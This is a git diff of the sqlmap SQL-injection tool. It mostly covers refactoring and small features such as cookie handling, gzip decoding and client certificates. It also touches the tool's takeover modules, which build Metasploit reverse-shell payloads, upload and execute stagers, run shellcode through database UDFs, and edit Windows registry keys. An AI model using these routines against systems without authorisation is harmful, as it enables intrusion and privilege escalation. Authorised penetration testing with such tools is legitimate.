startElement(self, name, attrs): if name == "signatures": self.__release = sanitizeStr(attrs.get("release")) @@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler): elif name == "servicepack": self.__inServicePack = True - def characters(self, data): if self.__inVersion: self.__version += sanitizeStr(data) elif self.__inServicePack: self.__servicePack += sanitizeStr(data) - def endElement(self, name): if name == "signature": if re.search(" %s[\.\ ]+" % self.__version, self.__banner): @@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler): self.__version = "" self.__servicePack = "" - elif name == "version": self.__inVersion = False self.__version = self.__version.replace(" ", "") @@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler): self.__inServicePack = False self.__servicePack = self.__servicePack.replace(" ", "") - def bannerParser(banner): """ This function calls a class to extract information from the given diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 799a79a6b..75345a05f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import sys from optparse import OptionError @@ -33,7 +31,6 @@ from optparse import OptionParser from lib.core.data import logger from lib.core.settings import VERSION_STRING - def cmdLineParser(): """ This function parses the command line parameters and arguments @@ -75,8 +72,8 @@ def cmdLineParser(): request.add_option("--cookie", dest="cookie", help="HTTP Cookie header") - request.add_option("--referer", dest="referer", - help="HTTP Referer header") + request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true", + help="Ignore Set-Cookie header from response") request.add_option("--user-agent", dest="agent", help="HTTP User-Agent header") @@ -85,6 +82,9 @@ def cmdLineParser(): help="Load a random HTTP User-Agent " "header from file") + request.add_option("--referer", dest="referer", + help="HTTP Referer header") + request.add_option("--headers", dest="headers", help="Extra HTTP headers newline separated") @@ -195,7 +195,6 @@ def cmdLineParser(): action="store_true", help="Perform an extensive DBMS version fingerprint") - # Enumeration options enumeration = OptionGroup(parser, "Enumeration", "These options can " "be used to enumerate the back-end database " @@ -377,17 +376,20 @@ def cmdLineParser(): # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") + miscellaneous.add_option("-s", dest="sessionFile", + help="Save and resume all data retrieved " + "on a session file") + miscellaneous.add_option("--eta", dest="eta", action="store_true", help="Display for each output the " "estimated time of arrival") + miscellaneous.add_option("--gpage", dest="googlePage", type="int", + help="Use google dork results from specified page number") + miscellaneous.add_option("--update", dest="updateAll", action="store_true", help="Update sqlmap to the latest stable version") - miscellaneous.add_option("-s", dest="sessionFile", - help="Save and resume all data retrieved " - "on a session file") - miscellaneous.add_option("--save", dest="saveCmdline", action="store_true", help="Save options on a configuration INI file") diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index a0cd17bbe..b2a99ea7e 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from ConfigParser import NoSectionError from ConfigParser import ConfigParser @@ -33,10 +31,8 @@ from lib.core.data import logger from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.optiondict import optDict - config = None - def configFileProxy(section, option, boolean=False, integer=False): """ Parse configuration file and save settings into the configuration @@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False): debugMsg += "ignoring. Skipping to next." logger.debug(debugMsg) - def configFileParser(configFile): """ Parse configuration file and save settings into the configuration diff --git a/lib/parse/handler.py b/lib/parse/handler.py index c5db8e939..01c717a04 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -22,15 +22,10 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re - from xml.sax.handler import ContentHandler - from lib.core.common import sanitizeStr - class FingerprintHandler(ContentHandler): """ This class defines methods to parse and extract information from @@ -45,7 +40,6 @@ class FingerprintHandler(ContentHandler): self.__techVersion = None self.__info = info - def __feedInfo(self, key, value): value = sanitizeStr(value) @@ -61,7 +55,6 @@ class FingerprintHandler(ContentHandler): for v in value.split("|"): self.__info[key].add(v) - def startElement(self, name, attrs): if name == "regexp": self.__regexp = sanitizeStr(attrs.get("value")) diff --git a/lib/parse/headers.py b/lib/parse/headers.py index ef4ef2142..9af090372 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os from xml.sax import parse @@ -33,7 +31,6 @@ from lib.core.data import kb from lib.core.data import paths from lib.parse.handler import FingerprintHandler - def headersParser(headers): """ This function calls a class that parses the input HTTP headers to diff --git a/lib/parse/html.py b/lib/parse/html.py index 154d103ea..81629fdd9 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re from xml.sax import parse @@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr from lib.core.data import kb from lib.core.data import paths - class htmlHandler(ContentHandler): """ This class defines methods to parse the input HTML page to @@ -49,7 +46,6 @@ class htmlHandler(ContentHandler): self.dbms = None - def startElement(self, name, attrs): if name == "dbms": self.__dbms = attrs.get("value") @@ -62,7 +58,6 @@ class htmlHandler(ContentHandler): self.dbms = self.__dbms self.__match = None - def htmlParser(page): """ This function calls a class that parses the input HTML page to diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py index 379f5d8b6..074972bfc 100644 --- a/lib/parse/queriesfile.py +++ b/lib/parse/queriesfile.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from xml.sax import parse from xml.sax.handler import ContentHandler @@ -34,7 +32,6 @@ from lib.core.data import queries from lib.core.data import paths from lib.core.datatype import advancedDict - class queriesHandler(ContentHandler): """ This class defines methods to parse the default DBMS queries @@ -45,7 +42,6 @@ class queriesHandler(ContentHandler): self.__dbms = '' self.__queries = advancedDict() - def startElement(self, name, attrs): if name == "dbms": data = sanitizeStr(attrs.get("value")) @@ -150,7 +146,6 @@ class queriesHandler(ContentHandler): self.__count = sanitizeStr(attrs.get("count")) self.__count2 = sanitizeStr(attrs.get("count2")) - def endElement(self, name): if name == "dbms": queries[self.__dbms] = self.__queries @@ -209,7 +204,6 @@ class queriesHandler(ContentHandler): self.__queries.dumpTable = self.__dumpTable - def queriesParser(): """ This function calls a class to parse the default DBMS queries diff --git a/lib/request/basic.py b/lib/request/basic.py index 6fd6f0a64..1b5f1a8a4 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -22,17 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - +import gzip import os import re +import StringIO +import zlib from lib.core.data import conf from lib.core.data import kb from lib.parse.headers import headersParser from lib.parse.html import htmlParser - def forgeHeaders(cookie, ua): """ Prepare HTTP Cookie and HTTP User-Agent headers to use when performing @@ -51,17 +51,12 @@ def forgeHeaders(cookie, ua): return headers - def parseResponse(page, headers): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return through the web application) list and absFilePaths (absolute file paths) set. - - @todo: in the future parse the page content scrolling an XML file to - identify the dynamic language used and, most, the absolute path, - like for DBMS error messages (ERRORS_XML), see above. """ if headers: @@ -73,11 +68,29 @@ def parseResponse(page, headers): # Detect injectable page absolute system path # NOTE: this regular expression works if the remote web application # is written in PHP and debug/error messages are enabled. - absFilePathsRegExp = ( " in (.*?) on line", "([\w]\:[\/\\\\]+)" ) + absFilePathsRegExp = ( r" in (.*?) on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" ) for absFilePathRegExp in absFilePathsRegExp: - absFilePaths = re.findall(absFilePathRegExp, page, re.I) + reobj = re.compile(absFilePathRegExp) + + for match in reobj.finditer(page): + absFilePath = match.group() - for absFilePath in absFilePaths: if absFilePath not in kb.absFilePaths: kb.absFilePaths.add(os.path.dirname(absFilePath)) + +def decodePage(page, encoding): + """ + Decode gzip/deflate HTTP response + """ + + if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'): + if encoding == 'deflate': + # http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations + data = StringIO.StringIO(zlib.decompress(page, -15)) + else: + data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page)) + + page = data.read() + + return page diff --git a/lib/request/certhandler.py b/lib/request/certhandler.py new file mode 100644 index 000000000..024f78d84 --- /dev/null +++ b/lib/request/certhandler.py @@ -0,0 +1,12 @@ +import httplib +import urllib2 + +class HTTPSCertAuthHandler(urllib2.HTTPSHandler): + def __init__(self, key_file, cert_file): + urllib2.HTTPSHandler.__init__(self) + self.key_file = key_file + self.cert_file = cert_file + def https_open(self, req): + return self.do_open(self.getConnection, req) + def getConnection(self, host): + return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 0213fccf8..19749ea15 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re from lib.core.data import conf from lib.core.data import logger from lib.core.session import setMatchRatio - def comparison(page, headers=None, getSeqMatcher=False): regExpResults = None @@ -73,15 +70,16 @@ def comparison(page, headers=None, getSeqMatcher=False): # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content - if conf.matchRatio == None: - if conf.md5hash != None and ratio > 0.6 and ratio < 1: + if conf.matchRatio is None: + if conf.md5hash is not None and ratio > 0.6 and ratio < 1: logger.debug("setting match ratio to %.3f" % ratio) conf.matchRatio = ratio - elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ): + + elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ): logger.debug("setting match ratio to default value 0.900") conf.matchRatio = 0.900 - if conf.matchRatio != None: + if conf.matchRatio is not None: setMatchRatio() # If it has been requested to return the ratio and not a comparison @@ -93,7 +91,7 @@ def comparison(page, headers=None, getSeqMatcher=False): # hash of the original one # NOTE: old implementation, it did not handle automatically the fact # that the url could be not stable (due to VIEWSTATE, counter, etc.) - #elif conf.md5hash != None: + #elif conf.md5hash is not None: # return conf.md5hash == md5hash(page) # If the url is not stable it returns sequence matcher between the diff --git a/lib/request/connect.py b/lib/request/connect.py index 8b68f6906..9717cfcb0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import httplib import re import socket @@ -33,11 +31,13 @@ import urlparse import traceback from lib.contrib import multipartpost +from lib.core.common import sanitizeCookie from lib.core.convert import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapConnectionException +from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import parseResponse from lib.request.comparison import comparison @@ -48,12 +48,10 @@ class Connect: This class defines methods used to perform HTTP requests """ - @staticmethod def __getPageProxy(**kwargs): return Connect.getPage(**kwargs) - @staticmethod def getPage(**kwargs): """ @@ -61,7 +59,7 @@ class Connect: the target url page content """ - if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0: + if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) url = kwargs.get('url', conf.url).replace(" ", "%20") @@ -85,23 +83,24 @@ class Connect: else: requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" - if silent is True: + if silent: socket.setdefaulttimeout(3) if direct: if "?" in url: url, params = url.split("?") - params = urlencode(params).replace("%%", "%") + params = urlencode(params) url = "%s?%s" % (url, params) requestMsg += "?%s" % params - if post: - post = urlencode(post).replace("%%", "%") - elif multipart: multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) conn = multipartOpener.open(url, multipart) page = conn.read() + responseHeaders = conn.info() + + encoding = responseHeaders.get("Content-Encoding") + page = decodePage(page, encoding) return page @@ -110,7 +109,7 @@ class Connect: get = conf.parameters["GET"] if get: - get = urlencode(get).replace("%%", "%") + get = urlencode(get) url = "%s?%s" % (url, get) requestMsg += "?%s" % get @@ -118,18 +117,11 @@ class Connect: if conf.parameters.has_key("POST") and not post: post = conf.parameters["POST"] - post = urlencode(post).replace("%%", "%") - requestMsg += " HTTP/1.1" - if cookie: - # TODO: sure about encoding the cookie? - #cookie = urlencode(cookie).replace("%%", "%") - cookie = cookie.replace("%%", "%") - try: # Perform HTTP request - headers = forgeHeaders(cookie, ua) + headers = forgeHeaders(sanitizeCookie(cookie), ua) req = urllib2.Request(url, post, headers) conn = urllib2.urlopen(req) @@ -141,14 +133,15 @@ class Connect: requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) - for _, cookie in enumerate(conf.cj): - if not cookieStr: - cookieStr = "Cookie: " - - cookie = str(cookie) - index = cookie.index(" for ") - - cookieStr += "%s; " % cookie[8:index] + if not conf.dropSetCookie: + for _, cookie in enumerate(conf.cj): + if not cookieStr: + cookieStr = "Cookie: " + + cookie = str(cookie) + index = cookie.index(" for ") + + cookieStr += "%s; " % cookie[8:index] if not req.has_header("Cookie") and cookieStr: requestHeaders += "\n%s" % cookieStr[:-2] @@ -171,6 +164,9 @@ class Connect: status = conn.msg responseHeaders = conn.info() + encoding = responseHeaders.get("Content-Encoding") + page = decodePage(page, encoding) + except urllib2.HTTPError, e: if e.code == 401: exceptionMsg = "not authorized, try to provide right HTTP " @@ -208,7 +204,7 @@ class Connect: return None, None - if silent is True: + if silent: return None, None elif conf.retriesCount < conf.retries: @@ -240,7 +236,6 @@ class Connect: return page, responseHeaders - @staticmethod def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False): """ diff --git a/lib/request/inject.py b/lib/request/inject.py index 1e089080b..524055ca5 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re import time @@ -44,7 +42,6 @@ from lib.techniques.blind.inference import bisection from lib.utils.resume import queryOutputLength from lib.utils.resume import resume - def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None): start = time.time() @@ -67,7 +64,6 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha return value - def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): outputs = [] origExpr = None @@ -87,7 +83,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl else: expressionReplaced = expression.replace(expressionFields, field, 1) - if resumeValue == True: + if resumeValue: output = resume(expressionReplaced, payload) if not output or ( expected == "int" and not output.isdigit() ): @@ -105,7 +101,6 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl return outputs - def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None): """ Retrieve the output of a SQL query characted by character taking @@ -124,15 +119,15 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r untilLimitChar = None untilOrderChar = None - if resumeValue == True: + if resumeValue: output = resume(expression, payload) else: output = None - if output and ( expected == None or ( expected == "int" and output.isdigit() ) ): + if output and ( expected is None or ( expected == "int" and output.isdigit() ) ): return output - if unpack == False: + if not unpack: return __goInference(payload, expression, charsetType, firstChar, lastChar) if kb.dbmsDetected: @@ -205,7 +200,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r if not stopLimit or stopLimit <= 1: if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): test = "n" - elif batch == True: + elif batch: test = "y" else: message = "can the SQL query provided return " @@ -221,7 +216,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] - if resumeValue == True: + if resumeValue: count = resume(countedExpression, payload) if not stopLimit: @@ -231,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r if count and count.isdigit() and int(count) > 0: count = int(count) - if batch == True: + if batch: stopLimit = count else: message = "the SQL query provided can return " @@ -314,7 +309,6 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r return returnValue - def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True): """ Retrieve the output of a SQL query taking advantage of an inband SQL @@ -330,7 +324,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr and expression in kb.resumedQueries[conf.url].keys() ) - if condition and resumeValue == True: + if condition and resumeValue: output = resume(expression, None) if not output or ( expected == "int" and not output.isdigit() ): @@ -344,7 +338,6 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr return data - def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): """ Called each time sqlmap inject a SQL query on the SQL injection @@ -382,7 +375,6 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, return value - def goStacked(expression, silent=False): expression = cleanQuery(expression) diff --git a/lib/request/proxy.py b/lib/request/proxy.py index 1b8950733..0893fc271 100644 --- a/lib/request/proxy.py +++ b/lib/request/proxy.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import httplib import socket import urllib @@ -31,11 +29,9 @@ import urllib2 from lib.core.settings import PYVERSION - if PYVERSION >= "2.6": import ssl - class ProxyHTTPConnection(httplib.HTTPConnection): _ports = {"http" : 80, "https" : 443} @@ -65,7 +61,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection): httplib.HTTPConnection.request(self, method, rest, body, headers) - def connect(self): httplib.HTTPConnection.connect(self) @@ -91,7 +86,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection): if line == "\r\n": break - class ProxyHTTPSConnection(ProxyHTTPConnection): default_port = 443 @@ -111,7 +105,6 @@ class ProxyHTTPSConnection(ProxyHTTPConnection): sslobj = socket.ssl(self.sock, self.key_file, self.cert_file) self.sock = httplib.FakeSocket(self.sock, sslobj) - class ProxyHTTPHandler(urllib2.HTTPHandler): def __init__(self, proxy=None, debuglevel=0): self.proxy = proxy @@ -124,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler): return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req) - class ProxyHTTPSHandler(urllib2.HTTPSHandler): def __init__(self, proxy=None, debuglevel=0): self.proxy = proxy diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 789e230ca..7b9c599ac 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb @@ -34,7 +32,6 @@ from lib.core.shell import autoCompletion from lib.takeover.udf import UDF from lib.takeover.xp_cmdshell import xp_cmdshell - class Abstraction(UDF, xp_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities @@ -47,7 +44,6 @@ class Abstraction(UDF, xp_cmdshell): UDF.__init__(self) xp_cmdshell.__init__(self) - def __cmdShellCleanup(self): if not conf.cleanup: if kb.dbms in ( "MySQL", "PostgreSQL" ): @@ -60,7 +56,6 @@ class Abstraction(UDF, xp_cmdshell): errMsg = "Feature not yet implemented for the back-end DBMS" raise sqlmapUnsupportedFeatureException, errMsg - def execCmd(self, cmd, silent=False, forgeCmd=False): if kb.dbms in ( "MySQL", "PostgreSQL" ): self.udfExecCmd(cmd, silent=silent) @@ -72,7 +67,6 @@ class Abstraction(UDF, xp_cmdshell): errMsg = "Feature not yet implemented for the back-end DBMS" raise sqlmapUnsupportedFeatureException, errMsg - def evalCmd(self, cmd, first=None, last=None): if kb.dbms in ( "MySQL", "PostgreSQL" ): return self.udfEvalCmd(cmd, first, last) @@ -84,7 +78,6 @@ class Abstraction(UDF, xp_cmdshell): errMsg = "Feature not yet implemented for the back-end DBMS" raise sqlmapUnsupportedFeatureException, errMsg - def runCmd(self, cmd): getOutput = None @@ -105,7 +98,6 @@ class Abstraction(UDF, xp_cmdshell): if not conf.osShell and not conf.cleanup: self.__cmdShellCleanup() - def absOsShell(self): if kb.dbms in ( "MySQL", "PostgreSQL" ): infoMsg = "going to use injected sys_eval and sys_exec " @@ -153,14 +145,13 @@ class Abstraction(UDF, xp_cmdshell): self.__cmdShellCleanup() - def initEnv(self, mandatory=True, detailed=False): - if self.envInitialized is True: + if self.envInitialized: return self.checkDbmsOs(detailed) - if self.isDba() == False: + if not self.isDba(): warnMsg = "the functionality requested might not work because " warnMsg += "the session user is not a database administrator" logger.warn(warnMsg) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 0f42fce14..3acf482bd 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import re import stat @@ -131,7 +129,6 @@ class Metasploit: "reverse": "local port number", } - def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if kb.os == "Windows": opSys = "windows" @@ -177,21 +174,18 @@ class Metasploit: return choice - def __selectSMBPort(self): return self.__skeletonSelection("SMB port", self.__msfSMBPortsList) - def __selectEncoder(self, encode=True): if isinstance(encode, str): return encode - elif kb.os == "Windows" and encode is True: + elif kb.os == "Windows" and encode: return self.__skeletonSelection("payload encoding", self.__msfEncodersList) - def __selectPayload(self, askChurrasco=True): - if kb.os == "Windows" and conf.privEsc == True: + if kb.os == "Windows" and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can abuse Windows " infoMsg += "Access Tokens via Meterpreter 'incognito' " @@ -229,7 +223,7 @@ class Metasploit: warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) - if choose == True: + if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" @@ -254,7 +248,7 @@ class Metasploit: break - elif askChurrasco is False: + elif not askChurrasco: logger.warn("beware that the VNC injection might not work") break @@ -262,7 +256,7 @@ class Metasploit: elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): uploaded = self.uploadChurrasco() - if uploaded == False: + if not uploaded: warnMsg = "beware that the VNC injection " warnMsg += "might not work" logger.warn(warnMsg) @@ -277,13 +271,11 @@ class Metasploit: return __payloadStr - def __selectPort(self): for connType, connStr in self.__portData.items(): if self.connectionStr.startswith(connType): return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) - def __selectRhost(self): if self.connectionStr.startswith("bind"): message = "which is the back-end DBMS address? [%s] " % self.remoteIP @@ -300,9 +292,8 @@ class Metasploit: else: raise sqlmapDataException, "unexpected connection type" - def __selectLhost(self): - if self.connectionStr.startswith("reverse") or self.resourceFile != None: + if self.connectionStr.startswith("reverse") or self.resourceFile is not None: message = "which is the local address? [%s] " % self.localIP address = readInput(message, default=self.localIP) @@ -317,11 +308,9 @@ class Metasploit: else: raise sqlmapDataException, "unexpected connection type" - def __selectConnection(self): return self.__skeletonSelection("connection type", self.__msfConnectionsList) - def __prepareIngredients(self, encode=True, askChurrasco=True): self.connectionStr = self.__selectConnection() self.lhostStr = self.__selectLhost() @@ -335,7 +324,6 @@ class Metasploit: else: self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) - def __forgeMsfCliCmd(self, exitfunc="process"): self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) self.__cliCmd += " EXITFUNC=%s" % exitfunc @@ -355,11 +343,9 @@ class Metasploit: self.__cliCmd += " E" - def __forgeMsfConsoleCmd(self): self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile) - def __forgeMsfConsoleResource(self): self.resourceFile = os.path.join(conf.outputPath, self.__randFile) @@ -386,7 +372,6 @@ class Metasploit: self.resourceFp.write(self.__resource) self.resourceFp.close() - def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr) self.__payloadCmd += " EXITFUNC=%s" % exitfunc @@ -406,7 +391,6 @@ class Metasploit: else: self.__payloadCmd += " X > %s" % outFile - def __runMsfCli(self, exitfunc): self.__forgeMsfCliCmd(exitfunc) @@ -417,7 +401,6 @@ class Metasploit: logger.debug("executing local command: %s" % self.__cliCmd) self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE) - def __runMsfConsole(self): infoMsg = "running Metasploit Framework 3 console locally, wait.." logger.info(infoMsg) @@ -425,7 +408,6 @@ class Metasploit: logger.debug("executing local command: %s" % self.__consoleCmd) self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) - def __runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework 3 shellcode " infoMsg += "remotely via UDF 'sys_bineval', wait.." @@ -433,7 +415,6 @@ class Metasploit: self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") - def __runMsfPayloadRemote(self): infoMsg = "running Metasploit Framework 3 payload stager " infoMsg += "remotely, wait.." @@ -444,7 +425,7 @@ class Metasploit: cmd = "%s &" % self.exeFilePathRemote - if self.cmdFromChurrasco == True: + if self.cmdFromChurrasco: cmd = "%s \"%s\"" % (self.churrascoPath, cmd) if kb.dbms == "Microsoft SQL Server": @@ -452,7 +433,6 @@ class Metasploit: self.execCmd(cmd, silent=True) - def __loadMetExtensions(self, proc, metSess): if kb.os != "Windows": return @@ -468,7 +448,7 @@ class Metasploit: proc.stdin.write("use priv\n") proc.stdin.write("use sniffer\n") - if conf.privEsc == True: + if conf.privEsc: print infoMsg = "displaying the list of Access Tokens availables. " @@ -478,7 +458,6 @@ class Metasploit: proc.stdin.write("list_tokens -u\n") - def __controlMsfCmd(self, proc, func): stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) @@ -536,7 +515,6 @@ class Metasploit: return returncode - def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " logger.info(infoMsg) @@ -578,9 +556,8 @@ class Metasploit: os.unlink(self.__shellcodeFilePath) - def createMsfPayloadStager(self, initialize=True): - if initialize == True: + if initialize: infoMsg = "" else: infoMsg = "re" @@ -608,10 +585,10 @@ class Metasploit: self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr) self.__fileFormat = "elf" - if initialize == True: + if initialize: self.__initVars() - if self.payloadStr == None: + if self.payloadStr is None: self.__prepareIngredients() self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal) @@ -657,7 +634,6 @@ class Metasploit: errMsg = "failed to create the payload stager (%s)" % payloadStderr raise sqlmapFilePathException, errMsg - def uploadMsfPayloadStager(self): self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal)) @@ -666,9 +642,8 @@ class Metasploit: os.unlink(self.exeFilePathLocal) - def pwn(self, goUdf=False): - if goUdf is True: + if goUdf: exitfunc = "thread" func = self.__runMsfShellcodeRemote else: @@ -684,10 +659,9 @@ class Metasploit: debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func) logger.debug(debugMsg) - if goUdf is False: + if not goUdf: self.delRemoteFile(self.exeFilePathRemote, doubleslash=True) - def smb(self): self.__initVars() self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True) @@ -708,7 +682,6 @@ class Metasploit: os.unlink(self.resourceFile) - def bof(self): self.__runMsfCli(exitfunc="seh") diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 4ce7bf1d6..47f41026c 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os from lib.core.common import randomStr @@ -31,7 +29,6 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger - class Registry: """ This class defines methods to read and write Windows registry keys @@ -47,7 +44,7 @@ class Registry: self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr) self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr)) - if parse == True: + if parse: readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"" @@ -67,7 +64,6 @@ class Registry: "REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue) ) - def __createLocalBatchFile(self): self.__batPathFp = open(self.__batPathLocal, "w") @@ -83,7 +79,6 @@ class Registry: self.__batPathFp.close() - def __createRemoteBatchFile(self): logger.debug("creating batch file '%s'" % self.__batPathRemote) @@ -92,7 +87,6 @@ class Registry: os.unlink(self.__batPathLocal) 